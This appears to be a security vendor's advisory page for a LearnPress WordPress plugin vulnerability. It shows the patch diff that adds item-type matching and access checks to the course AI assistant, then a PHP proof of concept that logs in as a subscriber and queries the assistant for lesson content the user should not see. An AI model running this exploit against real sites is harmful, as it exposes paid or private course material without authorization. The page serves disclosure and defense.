 	protected function __construct( array $items = array() ) {
 		$this->dir = LP_PLUGIN_PATH . DIRECTORY_SEPARATOR . 'config' . DIRECTORY_SEPARATOR;
-
-		$this->items = $items;
 	}

 	/**
@@ -90,7 +86,7 @@
 		}
 	}

-	public static function instance(): self {
+	public static function instance() {
 		if ( is_null( self::$instance ) ) {
 			self::$instance = new self();
 		}
--- a/learnpress/inc/Helpers/Singleton.php
+++ b/learnpress/inc/Helpers/Singleton.php
@@ -20,5 +20,5 @@
 		$this->init();
 	}

-	abstract function init();
+	abstract public function init();
 }
--- a/learnpress/inc/Models/CourseModel.php
+++ b/learnpress/inc/Models/CourseModel.php
@@ -508,27 +508,44 @@
 	/**
 	 * Get section id of item
 	 *
-	 * @param int $item_id
+	 * A curriculum item's identity is the (item_id, item_type) pair, not the numeric
+	 * ID alone: once items live in per-type tables a lesson and a quiz can share the
+	 * same ID. Pass $item_type to match the composite identity.
+	 *
+	 * @param int    $item_id
+	 * @param string $item_type Optional. Curriculum item type to match as well. Empty
+	 *                          keeps the legacy ID-only match for callers not yet migrated.
 	 *
 	 * @return int
 	 * @since 4.2.8
-	 * @version 1.0.0
+	 * @version 1.1.0
 	 */
-	public function get_section_of_item( int $item_id ): int {
-		$section_id = 0;
-
+	public function get_section_of_item( int $item_id, string $item_type = '' ): int {
 		$section_items = $this->get_section_items();
+
 		foreach ( $section_items as $section ) {
+			if ( empty( $section->items ) ) {
+				continue;
+			}
+
 			foreach ( $section->items as $item ) {
 				$item_id_check = (int) ( $item->item_id ?? $item->id ?? 0 );
-				if ( $item_id_check === $item_id ) {
-					$section_id = $section->section_id ?? $section->id ?? 0;
-					break;
+				if ( $item_id_check !== $item_id ) {
+					continue;
+				}
+
+				if ( '' !== $item_type ) {
+					$item_type_check = (string) ( $item->item_type ?? $item->type ?? '' );
+					if ( $item_type_check !== $item_type ) {
+						continue;
+					}
 				}
+
+				return (int) ( $section->section_id ?? $section->id ?? 0 );
 			}
 		}

-		return (int) $section_id;
+		return 0;
 	}

 	/**
@@ -1266,14 +1283,15 @@
 	 *
 	 * @return mixed|false|null|WP_Post|PostModel
 	 * @since v4.2.7.6
-	 * @version 1.0.2
+	 * @version 1.0.3
 	 */
 	public function get_item_model( int $item_id, string $item_type, bool $check_assign = true ) {
 		try {
 			$item = false;

-			// Find item has in section
-			$section_id = $this->get_section_of_item( $item_id );
+			// Find item has in section. Match the composite (item_id, item_type) identity,
+			// so a quiz ID can never resolve through a lesson request and vice versa.
+			$section_id = $this->get_section_of_item( $item_id, $item_type );
 			if ( $check_assign && ! $section_id ) {
 				return $item;
 			}
--- a/learnpress/inc/Services/OpenAiService.php
+++ b/learnpress/inc/Services/OpenAiService.php
@@ -14,7 +14,7 @@
  *
  * @package LearnPressServices
  * @since 4.3.0
- * @version 1.0.0
+ * @version 1.0.1
  */
 class OpenAiService {
 	use Singleton;
@@ -22,7 +22,6 @@
 	public string $baseUrl = 'https://api.openai.com/v1/';
 	public string $urlChartCompletion;
 	public string $urlResponses;
-	public string $urlCompletionLegacy;
 	public string $urlImage;

 	public string $secret_key;
@@ -34,10 +33,9 @@
 	public int $max_token;

 	public function init() {
-		$this->urlChartCompletion  = $this->baseUrl . 'chat/completions';
-		$this->urlCompletionLegacy = $this->baseUrl . 'completions';
-		$this->urlResponses        = $this->baseUrl . 'responses';
-		$this->urlImage            = $this->baseUrl . 'images/generations';
+		$this->urlChartCompletion = $this->baseUrl . 'chat/completions';
+		$this->urlResponses       = $this->baseUrl . 'responses';
+		$this->urlImage           = $this->baseUrl . 'images/generations';
 		$this->get_settings();
 	}

@@ -62,7 +60,7 @@
 	public function get_settings() {
 		$this->secret_key        = LP_Settings::get_option( 'open_ai_secret_key', '' );
 		$this->text_model_type   = LP_Settings::get_option( 'open_ai_text_model_type', 'gpt-4.1' );
-		$this->image_model_type  = LP_Settings::get_option( 'open_ai_image_model_type', 'dall-e-3' );
+		$this->image_model_type  = LP_Settings::get_option( 'open_ai_image_model_type', 'gpt-image-1' );
 		$this->frequency_penalty = LP_Settings::get_option( 'open_ai_frequency_penalty_level', 0.0 );
 		$this->presence_penalty  = LP_Settings::get_option( 'open_ai_presence_penalty_level', 0.0 );
 		$this->creativity_level  = LP_Settings::get_option( 'open_ai_creativity_level', 1.0 );
@@ -75,22 +73,8 @@
 	 * @throws Exception
 	 */
 	public function send_request( array $args ): array {
-		// Handle args before send request
-		$url = '';
-
-		if ( in_array(
-			$this->text_model_type,
-			[ 'chatgpt-4o-latest', 'gpt-4o', 'gpt-4o-mini', 'gpt-3.5-turbo' ]
-		) ) {
-			$url  = $this->urlChartCompletion;
-			$args = $this->handle_params_for_send_chat_completion( $args );
-		} elseif ( $this->text_model_type == 'gpt-3.5-turbo-instruct' ) {
-			$url  = $this->urlCompletionLegacy;
-			$args = $this->handle_params_for_send_completion_legacy( $args );
-		} else {
-			$url  = $this->urlResponses;
-			$args = $this->handle_params_for_send_responses( $args );
-		}
+		$url  = $this->urlResponses;
+		$args = $this->handle_params_for_send_responses( $args );

 		$response = wp_remote_post(
 			$url,
@@ -185,10 +169,10 @@
 			unset( $args['n'] );
 		}

-		if ( $model_type == 'dall-e-3' ) {
+		/*if ( $model_type == 'dall-e-3' ) {
 			// only n=1 is supported.
 			$args['n'] = 1;
-		}
+		}*/

 		$response = wp_remote_post(
 			$this->urlImage,
@@ -274,29 +258,6 @@
 	}

 	/**
-	 * Handle params for send chat completion
-	 *
-	 * @docs https://platform.openai.com/docs/api-reference/completions/create
-	 *
-	 * @throws Exception
-	 */
-	public function handle_params_for_send_completion_legacy( $params ): array {
-		$params = [
-			'model'       => $this->text_model_type,
-			'temperature' => $this->creativity_level,
-			'max_tokens'  => $this->max_token,
-			'n'           => $params['outputs'] ?? 1,
-			'prompt'      => $params['prompt'] ?? '',
-		];
-
-		if ( $this->max_token === 0 ) {
-			unset( $params['max_tokens'] );
-		}
-
-		return $params;
-	}
-
-	/**
 	 * Handle params for send chat completion
 	 *
 	 * @docs https://platform.openai.com/docs/api-reference/responses/create
--- a/learnpress/inc/TemplateHooks/Admin/AI/AdminEditWithAITemplate.php
+++ b/learnpress/inc/TemplateHooks/Admin/AI/AdminEditWithAITemplate.php
@@ -747,8 +747,8 @@
 	public function html_image_step_1(): string {
 		$model_type   = LP_Settings::instance()->get( 'open_ai_image_model_type' );
 		$options      = $this->config;
-		$size_opts    = $options[ "image-size-$model_type" ] ?? [];
-		$quality_opts = $options[ "image-quality-$model_type" ] ?? $options['image-quality'] ?? [];
+		$size_opts    = $options[ "image-size-$model_type" ] ?? [ 'auto' ];
+		$quality_opts = $options[ "image-quality-$model_type" ] ?? $options['image-quality'] ?? [ 'auto' ];

 		$components = [
 			'step'          => '<div class="step-content active" data-step="1">',
@@ -843,7 +843,7 @@
 					<p class="field-description">%s</p>
 				</div>',
 				esc_html__( 'Outputs', 'learnpress' ),
-				esc_html__( 'Number of images you want the system to generate (model dall-e-3 only 1 supported).', 'learnpress' )
+				esc_html__( 'Number of images you want the system to generate.', 'learnpress' )
 			),
 			'form-grid-end' => '</div>',
 			'step_close'    => '</div>',
--- a/learnpress/inc/TemplateHooks/Course/CourseAIAssistantTemplate.php
+++ b/learnpress/inc/TemplateHooks/Course/CourseAIAssistantTemplate.php
@@ -127,9 +127,25 @@
 		$context   = $this->detect_context();
 		$item      = LP_Global::course_item();
 		$item_id   = $item ? absint( $item->get_id() ) : 0;
+		$item_type = $item ? (string) $item->get_item_type() : '';
 		$course_id = $item ? absint( $item->get_course_id() ) : 0;
 		$user_id   = get_current_user_id();

+		/**
+		 * Defense in depth: run the same resolver the AJAX controller uses, so the widget
+		 * is never offered for an item the user cannot view. This is not the security
+		 * boundary — AIAssistantController::handle_chat() is, because the AJAX action is
+		 * reachable without this markup ever rendering.
+		 *
+		 * Catches Throwable because this runs on wp_enqueue_scripts, outside the
+		 * render_panel() try/catch. Any failure denies rather than fatals the page.
+		 */
+		try {
+			AIAssistantController::resolve_item_access( $user_id, $course_id, $item_type, $item_id );
+		} catch ( Throwable $e ) {
+			return $this->render_state = false;
+		}
+
 		$enabled_actions   = AIAssistantController::get_enabled_actions();
 		$free_chat_enabled = LP_Settings::get_option( 'ai_assistant_free_chat', 'no' ) === 'yes';

@@ -163,6 +179,7 @@
 		return $this->render_state = array(
 			'context'           => $context,
 			'item_id'           => $item_id,
+			'item_type'         => $item_type,
 			'course_id'         => $course_id,
 			'enabled_actions'   => $enabled_actions,
 			'free_chat_enabled' => $free_chat_enabled,
@@ -182,6 +199,9 @@
 				'nonce'           => wp_create_nonce( 'wp_rest' ),
 				'lessonId'        => $render_state['item_id'],
 				'itemId'          => $render_state['item_id'],
+				// Server-resolved curriculum type. The client echoes it back as item_type
+				// and the server re-validates it; it is transport, not proof.
+				'itemType'        => $render_state['item_type'],
 				'courseId'        => $render_state['course_id'],
 				'context'         => $render_state['context'],
 				'quizCompleted'   => $render_state['context'] === 'quiz',
--- a/learnpress/inc/admin/class-lp-admin-assets.php
+++ b/learnpress/inc/admin/class-lp-admin-assets.php
@@ -83,7 +83,7 @@
 				'single_instructor_id'     => learn_press_get_page_id( 'single_instructor' ),
 				'lpAi'                     => array(
 					'config'     => Config::instance()->get( 'open-ai-modal', 'settings' ),
-					'modelImage' => LP_Settings::get_option( 'open_ai_image_model_type', 'dall-e-3' ),
+					'modelImage' => LP_Settings::get_option( 'open_ai_image_model_type', 'gpt-image-1' ),
 				),
 				'enable_open_ai'           => LP_Settings::get_option( 'enable_open_ai', 'no' ) === 'yes'
 					&& ! empty( LP_Settings::get_option( 'open_ai_secret_key', '' ) ),
--- a/learnpress/inc/admin/sub-menus/abstract-submenu.php
+++ b/learnpress/inc/admin/sub-menus/abstract-submenu.php
@@ -96,7 +96,7 @@
 	}

 	public function is_displaying() {
-		return $this->get_id() === LP_Request::get_string( 'page' );
+		return $this->get_id() === LP_Request::get_param( 'page' );
 	}

 	/**
--- a/learnpress/inc/user/class-lp-profile.php
+++ b/learnpress/inc/user/class-lp-profile.php
@@ -263,15 +263,17 @@
 			$user_of_profile = $this->get_user();
 			$tabs            = self::get_tabs_arr();

-			$userModelProfile = UserModel::find( $user_of_profile->get_id(), true );
-			if ( $userModelProfile ) {
-				$userModelProfileRoles = $userModelProfile->get_roles();
+			if ( $user_of_profile ) {
+				$userModelProfile = UserModel::find( $user_of_profile->get_id(), true );
+				if ( $userModelProfile ) {
+					$userModelProfileRoles = $userModelProfile->get_roles();

-				/*
-				 * Check if user not Admin/Instructor, will be hide tab Courses.
-				 */
-				if ( ! array_intersect( $userModelProfileRoles, [ UserModel::ROLE_ADMINISTRATOR, UserModel::ROLE_INSTRUCTOR ] ) ) {
-					unset( $tabs['courses'] );
+					/*
+					 * Check if user not Admin/Instructor, will be hide tab Courses.
+					 */
+					if ( ! array_intersect( $userModelProfileRoles, [ UserModel::ROLE_ADMINISTRATOR, UserModel::ROLE_INSTRUCTOR ] ) ) {
+						unset( $tabs['courses'] );
+					}
 				}
 			}

--- a/learnpress/learnpress.php
+++ b/learnpress/learnpress.php
@@ -4,7 +4,7 @@
  * Plugin URI: https://thimpress.com/learnpress
  * Description: LearnPress is a WordPress complete solution for creating a Learning Management System (LMS). It can help you to create courses, lessons and quizzes.
  * Author: ThimPress
- * Version: 4.4.3
+ * Version: 4.4.4
  * Author URI: http://thimpress.com
  * Requires at least: 6.0
  * Requires PHP: 7.4
--- a/learnpress/vendor/composer/installed.php
+++ b/learnpress/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'learnpress/learnpress',
         'pretty_version' => 'dev-develop',
         'version' => 'dev-develop',
-        'reference' => '2376fb803c4bf4e049479db45fc0fdb584b31668',
+        'reference' => '6afaa9b574a62307e227053793565c2c439aa63b',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'learnpress/learnpress' => array(
             'pretty_version' => 'dev-develop',
             'version' => 'dev-develop',
-            'reference' => '2376fb803c4bf4e049479db45fc0fdb584b31668',
+            'reference' => '6afaa9b574a62307e227053793565c2c439aa63b',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12976 - LearnPress – WordPress LMS Plugin for Create and Sell Online Courses < 4.4.4 - Authenticated (Subscriber+) Information Exposure

// Configuration
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // Set target site URL
$username = 'subscriber_user'; // Username with subscriber role
$password = 'password_here'; // Password for the user

// Target course item to attempt access to
$target_course_id = 10; // ID of a premium/private course
$target_item_id = 25; // ID of a lesson or quiz within that course

// Step 1: Authenticate to get cookies and nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => admin_url(),
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// Step 2: Fetch a page to get the AJAX nonce (assuming nonce is available to subscribers)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, home_url('/'));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$page = curl_exec($ch);
curl_close($ch);

preg_match('/var wpApiSettings = {"root":"(.*?)","nonce":"(.*?)"}/', $page, $matches);
if (empty($matches[2])) {
    // Try to find nonce in page source
    preg_match('/"nonce":"(.*?)"/', $page, $matches);
}
if (empty($matches[2])) {
    die('Failed to obtain nonce');
}
$nonce = $matches[2];

// Step 3: Crafting the exploit request
// The request targets the AI assistant AJAX handler with a course/item the attacker shouldn't access
$data = json_encode([
    'message' => 'Please explain this lesson content', // Generic message
    'course_id' => $target_course_id,
    'item_type' => 'lp_lesson', // Attempt to access a lesson
    'item_id' => $target_item_id,
    'history' => [],
    'active_quiz_questions' => []
]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
    'X-Requested-With: XMLHttpRequest'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'lp_ai_assistant_chat', // Replace with the actual AJAX action name
    'nonce' => $nonce,
    'data' => $data
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 4: Analyze the response
$response_data = json_decode($response, true);
if (isset($response_data['data']['message']) && !empty($response_data['data']['message'])) {
    echo "[+] Vulnerability likely exploited. Response from server:n";
    echo $response_data['data']['message'] . "n";
} else {
    echo "[-] Exploitation attempt failed. Server response:n" . $response . "n";
}

// Cleanup
unlink('cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.